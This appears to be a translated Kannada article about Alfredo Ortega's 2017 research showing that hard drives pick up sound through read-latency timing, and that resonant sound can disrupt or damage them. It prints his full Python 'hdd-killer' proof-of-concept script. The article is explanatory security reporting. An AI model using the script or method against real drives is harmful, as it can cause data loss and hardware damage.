ನಿಮ್ಮ HDD ಯಲ್ಲಿ ನೀವು ಏಕೆ ಕೂಗಬಾರದು

ನಿಮ್ಮ HDD ಯಲ್ಲಿ ನೀವು ಏಕೆ ಕೂಗಬಾರದು

ಬ್ಯೂನಸ್ ಐರಿಸ್‌ನಲ್ಲಿ ನಡೆದ ಎಕೋಪಾರ್ಟಿ 2017 ರ ಕಂಪ್ಯೂಟರ್ ಭದ್ರತಾ ಸಮ್ಮೇಳನದಲ್ಲಿ, ಅರ್ಜೆಂಟೀನಾದ ಹ್ಯಾಕರ್ ಆಲ್ಫ್ರೆಡೊ ಒರ್ಟೆಗಾ ಬಹಳ ಆಸಕ್ತಿದಾಯಕ ಬೆಳವಣಿಗೆಯನ್ನು ತೋರಿಸಿದರು - ಮೈಕ್ರೊಫೋನ್ ಬಳಸದೆ ಆವರಣದ ರಹಸ್ಯ ವೈರ್‌ಟ್ಯಾಪಿಂಗ್ ವ್ಯವಸ್ಥೆ. ಧ್ವನಿ ನೇರವಾಗಿ ಹಾರ್ಡ್ ಡ್ರೈವ್‌ಗೆ ದಾಖಲಿಸಲಾಗಿದೆ!

HDD ಮುಖ್ಯವಾಗಿ ಹೆಚ್ಚಿನ ತೀವ್ರತೆಯ ಕಡಿಮೆ ಆವರ್ತನದ ಶಬ್ದಗಳು, ಹೆಜ್ಜೆಗಳು ಮತ್ತು ಇತರ ಕಂಪನಗಳನ್ನು ಎತ್ತಿಕೊಳ್ಳುತ್ತದೆ. ಮಾನವ ಭಾಷಣವನ್ನು ಇನ್ನೂ ಗುರುತಿಸಲಾಗುವುದಿಲ್ಲ, ಆದರೂ ವಿಜ್ಞಾನಿಗಳು ಈ ದಿಸೆಯಲ್ಲಿ ಸಂಶೋಧನೆ ನಡೆಸುತ್ತಿದ್ದಾರೆ (ಕಡಿಮೆ ಆವರ್ತನದ ಕಂಪನಗಳಿಂದ ಭಾಷಣ ಗುರುತಿಸುವಿಕೆ, ಉದಾಹರಣೆಗೆ, ಗೈರೊಸ್ಕೋಪ್ ಅಥವಾ HDD ಯಿಂದ ರೆಕಾರ್ಡ್ ಮಾಡಲಾಗುತ್ತದೆ).

ಶಬ್ದವು ಗಾಳಿಯ ಅಥವಾ ಇನ್ನೊಂದು ಮಾಧ್ಯಮದ ಕಂಪನವಾಗಿದೆ. ಒಬ್ಬ ವ್ಯಕ್ತಿಯು ಕಿವಿಯೋಲೆಯ ಮೂಲಕ ಅವುಗಳನ್ನು ಗ್ರಹಿಸುತ್ತಾನೆ, ಇದು ಒಳಗಿನ ಕಿವಿಗೆ ಕಂಪನಗಳನ್ನು ರವಾನಿಸುತ್ತದೆ. ಮೈಕ್ರೊಫೋನ್ ಅನ್ನು ಸರಿಸುಮಾರು ಕಿವಿಯಂತೆ ವಿನ್ಯಾಸಗೊಳಿಸಲಾಗಿದೆ - ಇಲ್ಲಿಯೂ ಸಹ, ಕಂಪನಗಳನ್ನು ತೆಳುವಾದ ಪೊರೆಯಿಂದ ದಾಖಲಿಸಲಾಗುತ್ತದೆ, ಇದು ವಿದ್ಯುತ್ ಪ್ರಚೋದನೆಯನ್ನು ಪ್ರಚೋದಿಸುತ್ತದೆ. ಸುತ್ತಮುತ್ತಲಿನ ಗಾಳಿಯಲ್ಲಿನ ಏರಿಳಿತಗಳಿಂದಾಗಿ ಹಾರ್ಡ್ ಡ್ರೈವ್, ಸಹಜವಾಗಿ, ಸೂಕ್ಷ್ಮ ಕಂಪನಗಳಿಗೆ ಒಳಪಟ್ಟಿರುತ್ತದೆ. ಎಚ್‌ಡಿಡಿಗಳ ತಾಂತ್ರಿಕ ಗುಣಲಕ್ಷಣಗಳಿಂದಲೂ ಇದು ತಿಳಿದಿದೆ: ತಯಾರಕರು ಸಾಮಾನ್ಯವಾಗಿ ಗರಿಷ್ಠ ಅನುಮತಿಸುವ ಕಂಪನ ಮಟ್ಟವನ್ನು ಸೂಚಿಸುತ್ತಾರೆ, ಮತ್ತು ಹಾರ್ಡ್ ಡ್ರೈವ್ ಸ್ವತಃ ಅದನ್ನು ರಬ್ಬರ್ ಅಥವಾ ಇತರ ನಿರೋಧಕ ವಸ್ತುಗಳಿಂದ ಮಾಡಿದ ಕಂಪನ-ನಿರೋಧಕ ಧಾರಕದಲ್ಲಿ ಇರಿಸಲು ಪ್ರಯತ್ನಿಸುತ್ತದೆ. ಇದರಿಂದ ಎಚ್‌ಡಿಡಿ ಬಳಸಿ ಧ್ವನಿಗಳನ್ನು ರೆಕಾರ್ಡ್ ಮಾಡಬಹುದು ಎಂದು ತೀರ್ಮಾನಿಸುವುದು ಸುಲಭ. ಹೇಗೆ ಎಂದು ಲೆಕ್ಕಾಚಾರ ಮಾಡುವುದು ಮಾತ್ರ ಉಳಿದಿದೆ.

ಆಲ್ಫ್ರೆಡೊ ಒರ್ಟೆಗಾ ಸೈಡ್-ಚಾನಲ್ ದಾಳಿಯ ವಿಶಿಷ್ಟ ಆವೃತ್ತಿಯನ್ನು ಪ್ರಸ್ತಾಪಿಸಿದರು, ಅವುಗಳೆಂದರೆ ಸಮಯದ ದಾಳಿ. ನೀಡಲಾದ ಇನ್‌ಪುಟ್ ಡೇಟಾವನ್ನು ಅವಲಂಬಿಸಿ, ವಿಭಿನ್ನ ಸಮಯಗಳಲ್ಲಿ ಸಾಧನದಲ್ಲಿ ವಿಭಿನ್ನ ಕಾರ್ಯಾಚರಣೆಗಳನ್ನು ನಡೆಸಲಾಗುತ್ತದೆ ಎಂಬ ಊಹೆಯನ್ನು ಈ ದಾಳಿಯು ಆಧರಿಸಿದೆ. ಈ ಸಂದರ್ಭದಲ್ಲಿ, "ಇನ್ಪುಟ್ ಡೇಟಾ" ಎನ್ನುವುದು ಓದುವ ತಲೆ ಮತ್ತು ಎಚ್ಡಿಡಿ ಪ್ಲ್ಯಾಟರ್ನ ಕಂಪನಗಳು, ಇದು ಪರಿಸರದ ಕಂಪನಗಳೊಂದಿಗೆ ಪರಸ್ಪರ ಸಂಬಂಧ ಹೊಂದಿದೆ, ಅಂದರೆ ಧ್ವನಿಯೊಂದಿಗೆ. ಹೀಗಾಗಿ, ಲೆಕ್ಕಾಚಾರದ ಸಮಯವನ್ನು ಅಳೆಯುವ ಮೂಲಕ ಮತ್ತು ದತ್ತಾಂಶದ ಅಂಕಿಅಂಶಗಳ ವಿಶ್ಲೇಷಣೆಯನ್ನು ಮಾಡುವ ಮೂಲಕ, ತಲೆಯ / ತಟ್ಟೆಯ ಕಂಪನಗಳು ಮತ್ತು ಆದ್ದರಿಂದ ಮಾಧ್ಯಮದ ಕಂಪನಗಳನ್ನು ಅಳೆಯಬಹುದು. ಡೇಟಾವನ್ನು ಓದುವಲ್ಲಿ ವಿಳಂಬವು ದೀರ್ಘವಾಗಿರುತ್ತದೆ, HDD ಕಂಪನಗಳು ಬಲವಾಗಿರುತ್ತವೆ ಮತ್ತು ಆದ್ದರಿಂದ, ಜೋರಾಗಿ ಧ್ವನಿ.

ಹಾರ್ಡ್ ಡ್ರೈವ್ ಕಂಪನವನ್ನು ಅಳೆಯುವುದು ಹೇಗೆ? ತುಂಬಾ ಸರಳ: ಸಿಸ್ಟಮ್ ಕರೆಯನ್ನು ಚಲಾಯಿಸಿ read () - ಮತ್ತು ಪೂರ್ಣಗೊಳಿಸಲು ತೆಗೆದುಕೊಳ್ಳುವ ಸಮಯವನ್ನು ರೆಕಾರ್ಡ್ ಮಾಡಿ. ಆಧುನಿಕ ಆಪರೇಟಿಂಗ್ ಸಿಸ್ಟಂಗಳು ನ್ಯಾನೊಸೆಕೆಂಡ್ ನಿಖರತೆಯೊಂದಿಗೆ ಸಿಸ್ಟಮ್ ಕರೆಗಳ ಸಮಯವನ್ನು ಓದಲು ನಿಮಗೆ ಅನುಮತಿಸುತ್ತದೆ.

ಸೆಕ್ಟರ್‌ನಿಂದ ಮಾಹಿತಿಯನ್ನು ಓದುವ ವೇಗವು ತಲೆ ಮತ್ತು ಪ್ಲ್ಯಾಟರ್‌ನ ಸ್ಥಾನವನ್ನು ಅವಲಂಬಿಸಿರುತ್ತದೆ, ಇದು ಎಚ್‌ಡಿಡಿ ಪ್ರಕರಣದ ಕಂಪನಗಳೊಂದಿಗೆ ಪರಸ್ಪರ ಸಂಬಂಧ ಹೊಂದಿದೆ. ಅಷ್ಟೇ.

ಸರಳವಾದ Kscope ಉಪಯುಕ್ತತೆಯನ್ನು ಬಳಸಿಕೊಂಡು ಅಂಕಿಅಂಶಗಳ ವಿಶ್ಲೇಷಣೆಯನ್ನು ಕೈಗೊಳ್ಳಲಾಗುತ್ತದೆ. ಅವರು ಹೇಳಿದಂತೆ, ಚತುರ ಎಲ್ಲವೂ ಸರಳವಾಗಿದೆ.

ನಿಮ್ಮ HDD ಯಲ್ಲಿ ನೀವು ಏಕೆ ಕೂಗಬಾರದು
Kscope ಉಪಯುಕ್ತತೆ (stat() syscal)

ಸಿಸ್ಟಮ್ ಕರೆ ಎಕ್ಸಿಕ್ಯೂಶನ್ ಸಮಯದಲ್ಲಿ ಸಣ್ಣ ವ್ಯತ್ಯಾಸಗಳನ್ನು ದೃಶ್ಯೀಕರಿಸಲು Kscope ಒಂದು ಸಣ್ಣ ಉಪಯುಕ್ತತೆಯಾಗಿದೆ. ಮೂಲGitHub ನಲ್ಲಿ ಪ್ರಕಟಿಸಲಾಗಿದೆ.

ಪ್ರತ್ಯೇಕ ರೆಪೊಸಿಟರಿಯಲ್ಲಿ HDD-ಸಮಯ ಹಾರ್ಡ್ ಡ್ರೈವ್‌ನಲ್ಲಿ ಸಮಯದ ದಾಳಿಗಾಗಿ ಕಾನ್ಫಿಗರ್ ಮಾಡಲಾದ ಉಪಯುಕ್ತತೆಯ ಆವೃತ್ತಿಯಿದೆ, ಅಂದರೆ, ಸಿಸ್ಟಮ್ ಕರೆಯನ್ನು ವಿಶ್ಲೇಷಿಸಲು ಕಾನ್ಫಿಗರ್ ಮಾಡಲಾಗಿದೆ read ().

HDD ಬಳಸಿಕೊಂಡು ಧ್ವನಿ ರೆಕಾರ್ಡಿಂಗ್ ಪ್ರದರ್ಶನ, Kscope ಉಪಯುಕ್ತತೆಯ ಕಾರ್ಯಾಚರಣೆ


ಸಹಜವಾಗಿ, ಭಾಷಣವನ್ನು ಈ ರೀತಿಯಲ್ಲಿ ಅರ್ಥಮಾಡಿಕೊಳ್ಳಲಾಗುವುದಿಲ್ಲ, ಆದರೆ ಎಚ್ಡಿಡಿ ಕಂಪನ ಸಂವೇದಕವಾಗಿ ಸಾಕಷ್ಟು ಸೂಕ್ತವಾಗಿದೆ. ಉದಾಹರಣೆಗೆ, ಗಟ್ಟಿಯಾದ ಬೂಟುಗಳನ್ನು ಅಥವಾ ಬರಿಗಾಲಿನಲ್ಲಿ ಧರಿಸಿರುವ ವ್ಯಕ್ತಿಯು ಕಂಪ್ಯೂಟರ್ ಹೊಂದಿರುವ ಕೋಣೆಗೆ ಪ್ರವೇಶಿಸಿದರೆ ನೀವು ನೋಂದಾಯಿಸಿಕೊಳ್ಳಬಹುದು (ಬಹುಶಃ, ಆಕ್ರಮಣಕಾರರು ಮೃದುವಾದ ಸ್ನೀಕರ್ಸ್ ಧರಿಸಿದ್ದರೆ ಅಥವಾ ನೆಲದ ಮೇಲೆ ದಪ್ಪ ಕಾರ್ಪೆಟ್ ಇದ್ದರೆ, HDD ಕಂಪನಗಳನ್ನು ನೋಂದಾಯಿಸಲು ಸಾಧ್ಯವಾಗುವುದಿಲ್ಲ - ಇದು ಪರಿಶೀಲಿಸಲು ಯೋಗ್ಯವಾಗಿದೆ). ಬಲವಾದ ಧ್ವನಿ ತೀವ್ರತೆಯೊಂದಿಗೆ ಮುರಿದ ಗಾಜು ಅಥವಾ ಇತರ ಘಟನೆಗಳನ್ನು ನೋಂದಾಯಿಸಲು ಕಂಪ್ಯೂಟರ್ ಸಾಧ್ಯವಾಗುತ್ತದೆ. ಅಂದರೆ, ಹಾರ್ಡ್ ಡ್ರೈವ್ ಒಂದು ರೀತಿಯ ಅನಧಿಕೃತ ಒಳನುಗ್ಗುವಿಕೆ ಪತ್ತೆ ವ್ಯವಸ್ಥೆಯಾಗಿ ಕಾರ್ಯನಿರ್ವಹಿಸುತ್ತದೆ.

ಎಚ್ಡಿಡಿ ಕೊಲೆಗಾರ

ಮೂಲಕ, ಹಾರ್ಡ್ ಡ್ರೈವ್ಗಳನ್ನು ನಿಷ್ಕ್ರಿಯಗೊಳಿಸಲು ಇದೇ ತಂತ್ರವನ್ನು ಬಳಸಬಹುದು. ಇಲ್ಲಿ ಮಾತ್ರ ನಾವು ಎಚ್‌ಡಿಡಿಯಿಂದ ಆಂದೋಲನಗಳನ್ನು ತೆಗೆದುಹಾಕುವುದಿಲ್ಲ, ಆದರೆ ಇದಕ್ಕೆ ವಿರುದ್ಧವಾಗಿ, ನಾವು ಎಚ್‌ಡಿಡಿಗೆ ನೀಡಲಾಗುವ ಆಂದೋಲನಗಳನ್ನು ಉತ್ಪಾದಿಸುತ್ತೇವೆ. HDD ಆವರ್ತನದೊಂದಿಗೆ ಪ್ರತಿಧ್ವನಿಸುವ ಆವರ್ತನದಲ್ಲಿ ನೀವು ಸ್ಪೀಕರ್‌ನಿಂದ ಧ್ವನಿಯನ್ನು ಪ್ಲೇ ಮಾಡಿದರೆ, ಸಿಸ್ಟಮ್ ಶೀಘ್ರದಲ್ಲೇ I/O ದೋಷದೊಂದಿಗೆ ಸಾಧನವನ್ನು ಆಫ್ ಮಾಡುತ್ತದೆ (ಲಿನಕ್ಸ್ ಕರ್ನಲ್ 120 ಸೆಕೆಂಡುಗಳ ನಂತರ HDD ಅನ್ನು ಸಂಪೂರ್ಣವಾಗಿ ಆಫ್ ಮಾಡುತ್ತದೆ). ಹಾರ್ಡ್ ಡ್ರೈವ್ ಸ್ವತಃ ಬದಲಾಯಿಸಲಾಗದ ಹಾನಿಯನ್ನು ಅನುಭವಿಸಬಹುದು.

ನಿಮ್ಮ HDD ಯಲ್ಲಿ ನೀವು ಏಕೆ ಕೂಗಬಾರದು
ಎಡಿಫೈಯರ್ r120u USB ಸ್ಪೀಕರ್‌ನ ಸ್ಪೀಕರ್ ಮೂಲಕ ಪ್ರತಿಧ್ವನಿಸುವ ಆವರ್ತನದಲ್ಲಿ ಧ್ವನಿಯನ್ನು ವಿತರಿಸಿದ 19 ಸೆಕೆಂಡುಗಳ ನಂತರ Linux ಕರ್ನಲ್ ಹಾರ್ಡ್ ಡ್ರೈವ್ ಅನ್ನು ಆಫ್ ಮಾಡಿದೆ. ಸ್ಪೀಕರ್ ಶಕ್ತಿಯ ಕಾಲು ಭಾಗದಷ್ಟು (100 mW ಗಿಂತ ಕಡಿಮೆ) ಆನ್ ಆಗಿದೆ ಮತ್ತು HDD ಯಿಂದ 20 ಸೆಂ.ಮೀ ದೂರದಲ್ಲಿದೆ, ಕಂಪನಗಳನ್ನು ಹೆಚ್ಚಿಸಲು ಟೇಬಲ್ ಅನ್ನು ಗುರಿಯಾಗಿರಿಸಿಕೊಳ್ಳುತ್ತದೆ. ನಿಂದ ಫ್ರೇಮ್ ವೀಡಿಯೊ HDD ಕೊಲೆಗಾರನ ಪ್ರದರ್ಶನದೊಂದಿಗೆ

ಎಚ್ಡಿಡಿಗಳ ಮೇಲೆ ಅಂತಹ "ದಾಳಿಗಳು" ಕೆಲವೊಮ್ಮೆ ದೈನಂದಿನ ಜೀವನದಲ್ಲಿ ಆಕಸ್ಮಿಕವಾಗಿ ಸಂಭವಿಸುತ್ತವೆ ಎಂಬುದು ಕುತೂಹಲಕಾರಿಯಾಗಿದೆ. ಉದಾಹರಣೆಗೆ, ಸೆಪ್ಟೆಂಬರ್ 2016 ರಲ್ಲಿ, ಅಗ್ನಿಶಾಮಕ ಡ್ರಿಲ್ ನಂತರ 10 ಗಂಟೆಗಳ ಕಾಲ ಕಾರ್ಯಾಚರಣೆಯನ್ನು ಅಮಾನತುಗೊಳಿಸುವಂತೆ ING ಬ್ಯಾಂಕ್ ಡೇಟಾ ಕೇಂದ್ರವನ್ನು ಒತ್ತಾಯಿಸಲಾಯಿತು. ಹತ್ತಾರು ಹಾರ್ಡ್ ಡ್ರೈವ್‌ಗಳು ವಿಫಲವಾಗಿವೆ ಹೆಚ್ಚಿನ ಒತ್ತಡದಲ್ಲಿ ಸಿಲಿಂಡರ್‌ಗಳಿಂದ ಬಿಡುಗಡೆಯಾಗುವ ಜಡ ಅನಿಲದ ದೊಡ್ಡ ಶಬ್ದದಿಂದಾಗಿ. ಧ್ವನಿ ತುಂಬಾ ಜೋರಾಗಿತ್ತು (130 ಡಿಬಿಗಿಂತ ಹೆಚ್ಚು), ಆದರೆ ನೀವು ಹಾರ್ಡ್ ಡ್ರೈವ್‌ಗಳಲ್ಲಿ ಕೂಗಲು ಸಹ ಸಾಧ್ಯವಿಲ್ಲ - ಇದು ಎಚ್‌ಡಿಡಿಯನ್ನು ಪ್ರವೇಶಿಸುವಲ್ಲಿ ವಿಳಂಬವನ್ನು ಹೆಚ್ಚಿಸುತ್ತದೆ.

ಡೇಟಾ ಸೆಂಟರ್‌ನಲ್ಲಿ ಹಾರ್ಡ್ ಡ್ರೈವ್‌ಗಳಲ್ಲಿ ಮಾನವ ಕಿರುಚಾಟದ ಪ್ರದರ್ಶನ. ಸುಪ್ತತೆ ಮಾಪನ


ಪ್ರತಿಧ್ವನಿಸುವ ಧ್ವನಿಯನ್ನು ರಚಿಸಲು, ಆಲ್ಫ್ರೆಡೊ ಒರ್ಟೆಗಾ ಎಂಬ ಪೈಥಾನ್ ಲಿಪಿಯನ್ನು ಬರೆದರು ಎಚ್ಡಿಡಿ-ಕೊಲೆಗಾರ (ವೀಡಿಯೊ ಪ್ರದರ್ಶನ).

HDD ಕೊಲೆಗಾರ ಸ್ಕ್ರಿಪ್ಟ್ ಇದು ತುಂಬಾ ಚಿಕ್ಕದಾಗಿದೆ, ಆದ್ದರಿಂದ ನೀವು ಅದನ್ನು ಸಂಪೂರ್ಣವಾಗಿ ಇಲ್ಲಿ ಪ್ರಕಟಿಸಬಹುದು.

"""PyAudio hdd-killer: Generate sound and interfere with HDD """
"""Alfredo Ortega @ortegaalfredo"""
"""Usage: hdd-killer /dev/sdX"""
"""Where /dev/sdX is a spinning hard-disk drive"""
"""Turn the volume to the max for better results"""
"""Requires: pyaudio. Install with 'sudo pip install pyaudio' or 'sudo apt-get install python-pyaudio'"""

import pyaudio
import time
import sys
import math
import random

RATE=48000
FREQ=50

# validation. If a disk hasn't been specified, exit.
if len(sys.argv) < 2:
    print "hdd-killer: Attempt to interfere with a hard disk, using sound.nn" +
	  "The disk will be opened as read-only.n" + 
          "Warning: It might cause damage to HDD.n" +
          "Usage: %s /dev/sdX" % sys.argv[0]
    sys.exit(-1)

# instantiate PyAudio (1)
p = pyaudio.PyAudio()
x1=0
NEWFREQ=FREQ

# define audio synt callback (2)
def callback(in_data, frame_count, time_info, status):
    global x1,FREQ,NEWFREQ
    data=''
    sample=0
    for x in xrange(frame_count):
        oldsample=sample
        sample=chr(int(math.sin(x1*((2*math.pi)/(RATE/FREQ)))*127)+128)
        data = data+sample
        # continous frequency change
        if (NEWFREQ!=FREQ) and (sample==chr(128)) and (oldsample<sample) :
                FREQ=NEWFREQ
                x1=0
        x1+=1
    return (data, pyaudio.paContinue)

# open stream using callback (3)
stream = p.open(format=pyaudio.paUInt8,
                channels=1,
                rate=RATE,
                output=True,
                stream_callback=callback)

# start the stream (4)
stream.start_stream()

# wait for stream to finish (5)
while stream.is_active():
    timeprom=0
    c=file(sys.argv[1])
    for i in xrange(20):
        a=time.clock()
        c.seek(random.randint(0,1000000000),1) #attempt to bypass file buffer
        c.read(51200)
        b=time.clock()
        timeprom+=b-a
    c.close()
    timeprom/=20
    print("Frequency: %.2f Hz File Read prom: %f us" % (FREQ,timeprom*1000000))
    NEWFREQ+=0.5

# stop stream (6)
stream.stop_stream()
stream.close()

# close PyAudio (7)
p.terminate()

ಮೂಲ: www.habr.com

ಕಾಮೆಂಟ್ ಅನ್ನು ಸೇರಿಸಿ